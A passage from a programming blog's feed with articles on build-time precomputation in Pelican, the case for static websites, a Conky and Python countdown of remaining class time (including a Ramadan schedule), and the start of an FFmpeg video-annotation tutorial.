&lt;p&gt;But because they’re still thinking in &lt;strong&gt;runtime&lt;/strong&gt;.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Here’s the line that separates beginners from power users:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Beginners ask:&lt;/strong&gt; “How do I compute this when the user loads the page?”&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Power users ask:&lt;/strong&gt; “Why is this being computed at runtime at all?”&lt;/p&gt;

&lt;p&gt;That question changes everything.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Search doesn’t need a server.&lt;/p&gt;
&lt;p&gt;Related posts don’t need a database.&lt;/p&gt;
&lt;p&gt;Filtering doesn’t need an API.&lt;/p&gt;

&lt;p&gt;Most “dynamic” features are only dynamic because we’re used to computing them too late.&lt;/p&gt;

&lt;p&gt;Static sites don’t remove capabilities.&lt;/p&gt;

&lt;p&gt;They force you to move them.&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;From runtime → build time&lt;/strong&gt;&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Once you see that shift, Pelican stops being a “blog generator.”&lt;/p&gt;

&lt;p&gt;It becomes something else entirely:&lt;/p&gt;

&lt;p&gt;&amp;#8226; A data pipeline&lt;/p&gt;
&lt;p&gt;&amp;#8226; A compiler for your content&lt;/p&gt;
&lt;p&gt;&amp;#8226; A system that executes logic &lt;strong&gt;before deployment&lt;/strong&gt;, not after a request&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;1. Build-Time vs Run-Time&lt;/h2&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/precomputation-diagram.png" alt="Build-Time vs Run-Time" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Build-Time vs Run-Time&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;In a traditional web app, every request triggers work:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Query the database&lt;/p&gt;
&lt;p&gt;&amp;#8226; Apply business logic&lt;/p&gt;
&lt;p&gt;&amp;#8226; Render templates&lt;/p&gt;
&lt;p&gt;&amp;#8226; Send the response&lt;/p&gt;

&lt;p&gt;That’s runtime.&lt;/p&gt;

&lt;p&gt;It happens for every user, on every request.&lt;/p&gt;

&lt;p&gt;Which means:&lt;/p&gt;

&lt;p&gt;&amp;#8226; You pay the cost repeatedly&lt;/p&gt;
&lt;p&gt;&amp;#8226; You need infrastructure to support it&lt;/p&gt;
&lt;p&gt;&amp;#8226; You introduce latency and failure points&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Pelican flips the model.&lt;/p&gt;

&lt;p&gt;&amp;#8226; Content is loaded&lt;/p&gt;
&lt;p&gt;&amp;#8226; Templates are rendered&lt;/p&gt;
&lt;p&gt;&amp;#8226; Pages are generated&lt;/p&gt;

&lt;p&gt;Once.&lt;/p&gt;

&lt;p&gt;At build time.&lt;/p&gt;

&lt;p&gt;When a user visits your site?&lt;/p&gt;

&lt;p&gt;&amp;#8226; The server returns a file&lt;/p&gt;

&lt;p&gt;No computation. No database. No logic.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;This is the core optimization:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Do expensive work once instead of thousands of times&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That’s not a limitation.&lt;/p&gt;

&lt;p&gt;That’s leverage.&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;2. Content as Data&lt;/h2&gt;

&lt;p&gt;If you still think of Markdown files as “pages,” you’re limiting yourself.&lt;/p&gt;

&lt;p&gt;They’re not pages.&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;They’re records&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Each file contains structured information:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Title&lt;/p&gt;
&lt;p&gt;&amp;#8226; Date&lt;/p&gt;
&lt;p&gt;&amp;#8226; Tags&lt;/p&gt;
&lt;p&gt;&amp;#8226; Category&lt;/p&gt;
&lt;p&gt;&amp;#8226; Content&lt;/p&gt;

&lt;p&gt;During the build, Pelican loads all of this into memory.&lt;/p&gt;

&lt;p&gt;At that point, you’re not rendering pages anymore—&lt;/p&gt;

&lt;p&gt;You’re operating on a dataset.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Which means you can:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Filter articles by tag&lt;/p&gt;
&lt;p&gt;&amp;#8226; Group them by category&lt;/p&gt;
&lt;p&gt;&amp;#8226; Sort them by date&lt;/p&gt;
&lt;p&gt;&amp;#8226; Generate entirely new views&lt;/p&gt;

&lt;p&gt;No database required.&lt;/p&gt;

&lt;p&gt;Because your content &lt;strong&gt;is&lt;/strong&gt; the database.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;This is where most people miss the opportunity.&lt;/p&gt;

&lt;p&gt;They use Pelican to render articles.&lt;/p&gt;

&lt;p&gt;Power users use it to &lt;strong&gt;query and transform data&lt;/strong&gt;.&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;3. Precomputation Patterns&lt;/h2&gt;

&lt;p&gt;Once you adopt this mindset, your questions change.&lt;/p&gt;

&lt;p&gt;Instead of asking:&lt;/p&gt;

&lt;p&gt;&amp;#8226; “How do I build this feature?”&lt;/p&gt;

&lt;p&gt;You ask:&lt;/p&gt;

&lt;p&gt;&amp;#8226; “Can this be computed ahead of time?”&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;That leads to a set of repeatable patterns:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Search Index&lt;/strong&gt;&lt;br&gt;
Generate a JSON file containing all content, ready for instant client-side search.&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Pre-filtered Views&lt;/strong&gt;&lt;br&gt;
Generate pages like “All Linux Articles” or “Beginner Guides” at build time.&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Related Content&lt;/strong&gt;&lt;br&gt;
Compute similarity (tags, categories) once and embed results directly into each page.&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Static APIs&lt;/strong&gt;&lt;br&gt;
Export structured JSON that behaves like an API—without running a server.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Notice the pattern:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Compute once&lt;/p&gt;
&lt;p&gt;&amp;#8226; Reuse everywhere&lt;/p&gt;

&lt;p&gt;The result?&lt;/p&gt;

&lt;p&gt;&amp;#8226; Zero runtime cost&lt;/p&gt;
&lt;p&gt;&amp;#8226; Instant responses&lt;/p&gt;
&lt;p&gt;&amp;#8226; Predictable behavior&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;4. Example: Generating a Search Index&lt;/h2&gt;

&lt;p&gt;Let’s make this real.&lt;/p&gt;

&lt;p&gt;Instead of querying a database for search results, you generate them ahead of time.&lt;/p&gt;

&lt;p&gt;At build time, Pelican already knows everything about your content.&lt;/p&gt;

&lt;p&gt;So you export it.&lt;/p&gt;

&lt;pre class="language-json"&gt;
  &lt;code class="language-json"&gt;[
{% for article in articles %}
{
  "title": "{{ article.title | escape }}",
  "url": "{{ SITEURL }}/{{ article.url }}",
  "summary": "{{ article.summary | striptags | escape }}",
  "tags": [{% for tag in article.tags %}"{{ tag.name }}"{% if not loop.last %}, {% endif %}{% endfor %}]
}{% if not loop.last %},{% endif %}
{% endfor %}
]&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This becomes a static file:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;code&gt;search-index.json&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;No API. No backend.&lt;/p&gt;

&lt;p&gt;Just data, ready to be consumed.&lt;/p&gt;

&lt;p&gt;Your frontend (later in this series) will load this file and search it instantly.&lt;/p&gt;

&lt;p&gt;This is the pattern you’ll reuse again and again.&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;5. Where This Leads&lt;/h2&gt;

&lt;p&gt;Once you internalize precomputation, your architecture changes.&lt;/p&gt;

&lt;p&gt;You stop thinking in:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Requests&lt;/p&gt;
&lt;p&gt;&amp;#8226; Controllers&lt;/p&gt;
&lt;p&gt;&amp;#8226; Server logic&lt;/p&gt;

&lt;p&gt;And start thinking in:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Data transformations&lt;/p&gt;
&lt;p&gt;&amp;#8226; Build pipelines&lt;/p&gt;
&lt;p&gt;&amp;#8226; Generated artifacts&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;This naturally leads to more advanced patterns:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Headless CMS&lt;/strong&gt; — external content sources, consumed at build time&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Static APIs&lt;/strong&gt; — JSON endpoints generated by your build process&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Hybrid systems&lt;/strong&gt; — static frontend, minimal dynamic services where truly needed&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;At that point, your “static site” isn’t simple.&lt;/p&gt;

&lt;p&gt;It’s deliberate.&lt;/p&gt;

&lt;p&gt;It’s engineered.&lt;/p&gt;

&lt;p&gt;It’s &lt;strong&gt;precomputed software&lt;/strong&gt;.&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;Final Thought&lt;/h2&gt;

&lt;p&gt;Static sites aren’t limited.&lt;/p&gt;

&lt;p&gt;They’re shifted.&lt;/p&gt;

&lt;p&gt;The work still happens—&lt;/p&gt;

&lt;p&gt;Just earlier.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;And once you start thinking that way, you stop asking:&lt;/p&gt;

&lt;p&gt;&amp;#8226; “Can Pelican do this?”&lt;/p&gt;

&lt;p&gt;And start asking:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;“Why am I doing this at runtime?”&lt;/strong&gt;&lt;/p&gt;</content><category term="Programming"></category><category term="pelican"></category><category term="static-sites"></category><category term="ssg"></category><category term="web-performance"></category><category term="precomputation"></category><category term="jinja2"></category><category term="python"></category><category term="web-dev"></category><category term="architecture"></category><category term="static-vs-dynamic"></category></entry><entry><title>Why Static Websites Still Win in 2026</title><link href="https://mosaid.xyz/articles/why-static-websites-still-win-in-2026-21.html" rel="alternate"></link><published>2026-05-05T15:36:21+00:00</published><updated>2026-05-05T15:36:21+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-05-05:/articles/why-static-websites-still-win-in-2026-21.html</id><summary type="html">&lt;p&gt;Static websites aren’t outdated—they’re a deliberate engineering choice. In this article, we break down why static sites still outperform modern frameworks in speed, security, and cost, and set the foundation for building dynamic-feeling websites without backend complexity.&lt;/p&gt;</summary><content type="html">&lt;p&gt;For the past decade, the web has been obsessed with &lt;strong&gt;complexity&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We moved from simple server-rendered pages… to heavy client-side frameworks… to hybrid systems trying to fix the problems they introduced in the first place.&lt;/p&gt;

&lt;p&gt;And somewhere along the way, a quiet question started to resurface:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What if most of this isn’t necessary?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is where static websites come back—not as a nostalgic choice, but as a &lt;strong&gt;deliberate engineering decision&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In this article, I’ll show you why static sites still win in 2026—and why they’re the foundation for everything we’re going to build in this series.&lt;/p&gt;

&lt;hr&gt;

&lt;div class="video-block"&gt;
  &lt;p class="video-intro"&gt;
    &amp;#8226;&lt;strong&gt;Prefer video?&lt;/strong&gt; Watch the full explanation:
  &lt;/p&gt;

  &lt;div class="video-container"&gt;
    &lt;iframe 
      src="https://www.youtube.com/embed/HyRuju0hQqE"
      title="Why Static Websites Still Win in 2026"
      frameborder="0"
      allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
      allowfullscreen&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;hr&gt;

&lt;h2&gt;The Pendulum Always Swings&lt;/h2&gt;

&lt;p&gt;The web has gone through clear phases:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Early Web:&lt;/strong&gt; Pure HTML, simple, fast, but limited.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Dynamic Era:&lt;/strong&gt; PHP, databases, server-side rendering everywhere.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;SPA Boom:&lt;/strong&gt; React, Vue, Angular—everything moved to the browser.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Modern Hybrid:&lt;/strong&gt; SSR + hydration + edge rendering (trying to balance performance and flexibility).&lt;/p&gt;

&lt;p&gt;Each step solved problems… and introduced new ones.&lt;/p&gt;

&lt;p&gt;Now we’re seeing a correction:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Static sites, but smarter.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not just HTML files—but &lt;strong&gt;precomputed systems&lt;/strong&gt; that deliver speed without sacrificing modern UX.&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;Performance: Static Is Still King&lt;/h2&gt;

&lt;p&gt;Let’s strip everything down to what matters: &lt;strong&gt;how fast your site loads&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A static site:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Requires &lt;strong&gt;no server processing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226; Has &lt;strong&gt;no database queries&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226; Delivers &lt;strong&gt;prebuilt HTML directly from a CDN&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That means:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Time To First Byte (TTFB):&lt;/strong&gt; almost instant&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Rendering:&lt;/strong&gt; immediate—no hydration delay&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Consistency:&lt;/strong&gt; same performance globally via CDN&lt;/p&gt;

&lt;p&gt;Compare that to a typical modern stack:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Server-side rendering → compute cost + latency&lt;/p&gt;
&lt;p&gt;&amp;#8226; Client-side hydration → JavaScript execution delay&lt;/p&gt;
&lt;p&gt;&amp;#8226; API calls → additional round trips&lt;/p&gt;

&lt;p&gt;Even with optimizations, you’re fighting complexity.&lt;/p&gt;

&lt;p&gt;With static?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You start fast by design.&lt;/strong&gt;&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;Simplicity Is a Feature&lt;/h2&gt;

&lt;p&gt;Most modern stacks require:&lt;/p&gt;

&lt;p&gt;&amp;#8226; A backend (Node, Python, etc.)&lt;/p&gt;
&lt;p&gt;&amp;#8226; A database&lt;/p&gt;
&lt;p&gt;&amp;#8226; Deployment pipelines&lt;/p&gt;
&lt;p&gt;&amp;#8226; Environment management&lt;/p&gt;

&lt;p&gt;A static site removes almost all of that.&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;No backend:&lt;/strong&gt; just files&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;No database:&lt;/strong&gt; content is your data&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;No runtime:&lt;/strong&gt; everything is prebuilt&lt;/p&gt;

&lt;p&gt;You can deploy a static site to:&lt;/p&gt;

&lt;p&gt;&amp;#8226; A CDN&lt;/p&gt;
&lt;p&gt;&amp;#8226; Object storage&lt;/p&gt;
&lt;p&gt;&amp;#8226; Even a simple file server&lt;/p&gt;

&lt;p&gt;Scaling becomes trivial because there’s nothing to scale.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No servers. No processes. No surprises.&lt;/strong&gt;&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;Security: The Overlooked Advantage&lt;/h2&gt;

&lt;p&gt;Security is rarely discussed in frontend conversations—but it should be.&lt;/p&gt;

&lt;p&gt;A dynamic site exposes:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Server-side code execution&lt;/p&gt;
&lt;p&gt;&amp;#8226; Database access&lt;/p&gt;
&lt;p&gt;&amp;#8226; Authentication systems&lt;/p&gt;
&lt;p&gt;&amp;#8226; API endpoints&lt;/p&gt;

&lt;p&gt;Every one of these is a potential attack surface.&lt;/p&gt;

&lt;p&gt;A static site?&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;No server logic&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;No database&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;No injection vectors&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You’re essentially serving &lt;strong&gt;immutable files&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That drastically reduces risk.&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;Cost: Almost Zero&lt;/h2&gt;

&lt;p&gt;Let’s talk money.&lt;/p&gt;

&lt;p&gt;A typical dynamic setup might involve:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Hosting (VPS or managed platform)&lt;/p&gt;
&lt;p&gt;&amp;#8226; Database costs&lt;/p&gt;
&lt;p&gt;&amp;#8226; Scaling costs under load&lt;/p&gt;

&lt;p&gt;A static site:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Can be hosted &lt;strong&gt;for free&lt;/strong&gt; on many platforms&lt;/p&gt;
&lt;p&gt;&amp;#8226; Uses CDN bandwidth (cheap or free tiers)&lt;/p&gt;
&lt;p&gt;&amp;#8226; Has no runtime compute cost&lt;/p&gt;

&lt;p&gt;You can handle thousands—or millions—of requests without touching your infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You pay almost nothing for massive scale.&lt;/strong&gt;&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;“But Static Sites Are Limited…”&lt;/h2&gt;

&lt;p&gt;This is the usual objection.&lt;/p&gt;

&lt;p&gt;And it’s not wrong.&lt;/p&gt;

&lt;p&gt;Out of the box, static sites don’t give you:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Comments&lt;/p&gt;
&lt;p&gt;&amp;#8226; Search&lt;/p&gt;
&lt;p&gt;&amp;#8226; Real-time filtering&lt;/p&gt;
&lt;p&gt;&amp;#8226; User interaction&lt;/p&gt;

&lt;p&gt;That’s why most developers jump straight to frameworks.&lt;/p&gt;

&lt;p&gt;But here’s the key idea:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You don’t need a backend for most of these features.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You need:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Smart precomputation&lt;/p&gt;
&lt;p&gt;&amp;#8226; Client-side enhancements&lt;/p&gt;
&lt;p&gt;&amp;#8226; Lightweight integrations&lt;/p&gt;

&lt;p&gt;In other words:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Static doesn’t mean limited—it means intentional.&lt;/strong&gt;&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;What We’re Building in This Series&lt;/h2&gt;

&lt;p&gt;This series is not about “basic Pelican tutorials.”&lt;/p&gt;

&lt;p&gt;We’re going to build a site that:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Loads instantly&lt;/p&gt;
&lt;p&gt;&amp;#8226; Has &lt;strong&gt;instant search&lt;/strong&gt; (no backend)&lt;/p&gt;
&lt;p&gt;&amp;#8226; Supports &lt;strong&gt;dynamic filtering&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226; Includes &lt;strong&gt;comments&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226; Feels like a modern app&lt;/p&gt;

&lt;p&gt;But under the hood?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It’s still static.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No heavy frameworks. No unnecessary complexity.&lt;/p&gt;

&lt;p&gt;Just smart engineering.&lt;/p&gt;

&lt;hr&gt;

&lt;h2&gt;What’s Next&lt;/h2&gt;

&lt;p&gt;In the next article, we’ll break down exactly what you “lose” with static sites—and how we’re going to rebuild those features step by step.&lt;/p&gt;

&lt;p&gt;After that, we’ll start building the foundation using Pelican, but with a developer-first approach—not beginner boilerplate.&lt;/p&gt;

&lt;p&gt;If you’re used to modern frameworks, this might feel different at first.&lt;/p&gt;

&lt;p&gt;But once it clicks, you’ll start seeing the web in a completely different way.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;&lt;strong&gt;This is where we stop chasing complexity—and start removing it.&lt;/strong&gt;&lt;/p&gt;

&lt;hr&gt;

&lt;div class="video-block"&gt;
  &lt;p class="video-intro"&gt;
    &amp;#8226;&lt;strong&gt;Prefer video?&lt;/strong&gt; Watch the full explanation:
  &lt;/p&gt;

  &lt;div class="video-container"&gt;
    &lt;iframe 
      src="https://www.youtube.com/embed/HyRuju0hQqE"
      title="Why Static Websites Still Win in 2026"
      frameborder="0"
      allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
      allowfullscreen&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;
&lt;/div&gt;</content><category term="Programming"></category><category term="static-sites"></category><category term="pelican"></category><category term="web-performance"></category><category term="web-development"></category><category term="frontend"></category><category term="ssg"></category><category term="optimization"></category><category term="linux"></category><category term="power-users"></category></entry><entry><title>Tracking Class Time Precisely with Conky and Python</title><link href="https://mosaid.xyz/articles/tracking-class-time-precisely-with-conky-and-python-12.html" rel="alternate"></link><published>2026-04-18T16:41:23+00:00</published><updated>2026-04-18T16:41:23+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-04-18:/articles/tracking-class-time-precisely-with-conky-and-python-12.html</id><summary type="html">&lt;p&gt;A lightweight Conky and Python setup I use daily as a math teacher in Morocco to track remaining class time with precision, including support for Ramadan schedules.&lt;/p&gt;</summary><content type="html">&lt;p&gt;As a math teacher, timing is everything.&lt;/p&gt;

&lt;p&gt;Between explaining a concept, writing on the board, and answering questions, it’s easy to lose track of time. In our context—tight schedules, short breaks, and special timetables like Ramadan—precision matters.&lt;/p&gt;

&lt;p&gt;So I built a lightweight system that runs automatically when I start my PC and shows me one thing: &lt;strong&gt;how many minutes are left in the current class period&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;🧠 Overview&lt;/h2&gt;

&lt;p&gt;This setup is based on two components:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Conky:&lt;/strong&gt; displays the result directly on the desktop&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Python:&lt;/strong&gt; calculates the remaining time&lt;/p&gt;

&lt;p&gt;The result is a large number on the screen that updates every second.&lt;/p&gt;

&lt;h2&gt;⚙️ Step 1: Startup Command&lt;/h2&gt;

&lt;p&gt;Add this command to your startup (e.g., &lt;code&gt;.xprofile&lt;/code&gt;, &lt;code&gt;.bashrc&lt;/code&gt;, or your window manager autostart):&lt;/p&gt;

&lt;pre class="language-bash"&gt;&lt;code class="language-bash"&gt;nohup conky -c ~/.config/conky/regular_time &amp;lt;/dev/null &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp; disown
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;🖥️ Step 2: Conky Configuration&lt;/h2&gt;

&lt;p&gt;Create the file:&lt;/p&gt;

&lt;pre class="language-text"&gt;&lt;code class="language-text"&gt;~/.config/conky/regular_time
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And add:&lt;/p&gt;

&lt;pre class="language-conky"&gt;&lt;code class="language-conky"&gt;conky.config = {
    use_xft = true,
    font = 'DejaVu Sans Mono:size=230',
    xftalpha = 0.1,
    update_interval = 1,

    own_window = true,
    own_window_type = "override",
    own_window_transparent = true,
    own_window_hints = "undecorated,below,sticky,skip_taskbar,skip_pager",

    alignment = "top_middle",
    gap_x = -430,
    gap_y = 240,

    double_buffer = true,
    default_color = "white",
}

conky.text = [[
${exec python ~/.config/conky/regular_time.py}
]]
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;🐍 Step 3: Python Script (Regular Schedule)&lt;/h2&gt;

&lt;p&gt;Create:&lt;/p&gt;

&lt;pre class="language-bash"&gt;&lt;code class="language-bash"&gt;~/.config/conky/regular_time.py
&lt;/code&gt;&lt;/pre&gt;

&lt;pre class="language-python"&gt;&lt;code class="language-python"&gt;#!/bin/python

from datetime import datetime as dt
from datetime import timedelta

periods = [
    {'start': '08:00', 'end': '09:00'},
    {'start': '09:05', 'end': '10:00'},
    {'start': '10:10', 'end': '11:00'},
    {'start': '11:05', 'end': '12:00'},
    {'start': '14:00', 'end': '15:00'},
    {'start': '15:05', 'end': '16:00'},
    {'start': '16:05', 'end': '17:00'},
    {'start': '17:05', 'end': '18:00'},
]

now = (dt.now() - timedelta(minutes=30)).time().strftime('%H:%M')

# Friday adjustment
if dt.now().weekday() == 4:
    now = (dt.now() - timedelta(minutes=60)).time().strftime('%H:%M')

for period in periods:
    if now &gt;= period['start'] and now &amp;lt; period['end']:
        remaining = (
            dt.strptime(period['end'], '%H:%M') -
            dt.strptime(now, '%H:%M')
        ).total_seconds() // 60

        print(int(remaining))
        break
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;🕌 Step 4: Ramadan Schedule&lt;/h2&gt;

&lt;p&gt;Create:&lt;/p&gt;

&lt;pre class="language-bash"&gt;&lt;code class="language-bash"&gt;~/.config/conky/ramadan_time.py
&lt;/code&gt;&lt;/pre&gt;

&lt;pre class="language-python"&gt;&lt;code class="language-python"&gt;from datetime import datetime as dt

periods = [
    {'start': '08:40', 'end': '09:25'},
    {'start': '09:30', 'end': '10:15'},
    {'start': '10:25', 'end': '11:10'},
    {'start': '11:15', 'end': '12:00'},
    {'start': '12:30', 'end': '13:15'},
    {'start': '13:20', 'end': '14:05'},
    {'start': '14:15', 'end': '15:00'},
    {'start': '15:05', 'end': '15:50'},
]

# Friday Ramadan schedule
if dt.now().weekday() == 4:
    periods = [
        {'start': '08:30', 'end': '09:15'},
        {'start': '09:20', 'end': '10:05'},
        {'start': '10:15', 'end': '11:00'},
        {'start': '11:05', 'end': '11:50'},
        {'start': '13:40', 'end': '14:25'},
        {'start': '14:30', 'end': '15:15'},
        {'start': '15:25', 'end': '16:10'},
        {'start': '16:15', 'end': '17:00'},
    ]

now = dt.now().time().strftime('%H:%M')

for period in periods:
    if now &gt;= period['start'] and now &amp;lt; period['end']:
        remaining = (
            dt.strptime(period['end'], '%H:%M') -
            dt.strptime(now, '%H:%M')
        ).total_seconds() // 60

        print(int(remaining))
        break
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;🔁 Step 5: Switch Between Modes&lt;/h2&gt;

&lt;p&gt;To use Ramadan mode, simply change your Conky config:&lt;/p&gt;

&lt;pre class="language-conky"&gt;&lt;code class="language-conky"&gt;${exec python ~/.config/conky/ramadan_time.py}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;No other changes needed.&lt;/p&gt;

&lt;h2&gt;🎯 Why This Works Well&lt;/h2&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Always visible:&lt;/strong&gt; no need to check the clock&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Zero interaction:&lt;/strong&gt; runs automatically at startup&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Accurate pacing:&lt;/strong&gt; helps manage lessons better&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Adaptable:&lt;/strong&gt; supports Ramadan and Friday schedules&lt;/p&gt;

&lt;h2&gt;🚀 Possible Improvements&lt;/h2&gt;

&lt;p&gt;&amp;#8226;Change color when time is low&lt;/p&gt;
&lt;p&gt;&amp;#8226;Add sound alerts&lt;/p&gt;
&lt;p&gt;&amp;#8226;Display current period number&lt;/p&gt;
&lt;p&gt;&amp;#8226;Merge both scripts into one with auto-detection&lt;/p&gt;

&lt;h2&gt;🧩 Final Thoughts&lt;/h2&gt;

&lt;p&gt;This is a small tool, but it has a real impact on daily teaching.&lt;/p&gt;

&lt;p&gt;It removes the need to constantly think about time and lets me focus entirely on explaining math and interacting with students.&lt;/p&gt;</content><category term="Programming"></category><category term="conky"></category><category term="python"></category><category term="linux"></category><category term="automation"></category><category term="productivity"></category><category term="teaching"></category><category term="workflow"></category></entry><entry><title>Annotating Videos with FFmpeg Using a Python Script</title><link href="https://mosaid.xyz/articles/annotating-videos-with-ffmpeg-using-a-python-script-0.html" rel="alternate"></link><published>2026-02-10T23:31:55+00:00</published><updated>2026-02-10T23:31:55+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-02-10:/articles/annotating-videos-with-ffmpeg-using-a-python-script-0.html</id><summary type="html">&lt;p&gt;Learn how to annotate videos programmatically using a powerful Python script built on FFmpeg. This tutorial walks through JSON-based annotations, styling options, command-line usage, and best practices for producing clean, professional annotated videos.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Annotating videos is a common requirement in tutorials, software demos, online courses, and technical documentation. Whether you want to highlight steps, explain on-screen actions, or guide viewers through a workflow, text overlays can dramatically improve clarity.&lt;/p&gt;

